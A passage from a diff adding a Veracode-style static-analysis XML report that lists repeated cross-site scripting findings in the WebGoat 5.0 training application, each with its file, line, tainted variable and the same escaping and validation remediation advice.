+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"56\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"29\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"172\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"56\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"205\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"174\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"85\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"178\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"59\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"124\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"180\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"60\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"101\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getRestartLink().
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"194\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"64\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"90\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.println\" description=\"This call to javax.servlet.jsp.JspWriter.println()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to println() contains tainted data from the variable printParameters.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"212\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"73\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"16\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.println\" description=\"This call to javax.servlet.jsp.JspWriter.println()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to println() contains tainted data from the variable printCookies.
+        The tainted data originated from an earlier call to javax.servlet.http.httpservletrequest.getcookies.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"223\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"79\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"269\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getMessage().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.http.httpservletrequest.getcookies, and javax.servlet.http.httpservletrequest.getheader.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"231\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"84\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"103\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable searchedName.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SearchStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.SearchStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"187\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable searchedName.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SearchStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.SearchStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"193\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable searchedName.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SearchStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.SearchStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"121\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.io.PrintWriter.print\" description=\"This call to java.io.PrintWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable result.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparametervalues.
+        The tainted data is directed into an output stream returned by javax.servlet.servletresponse.getoutputstream.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
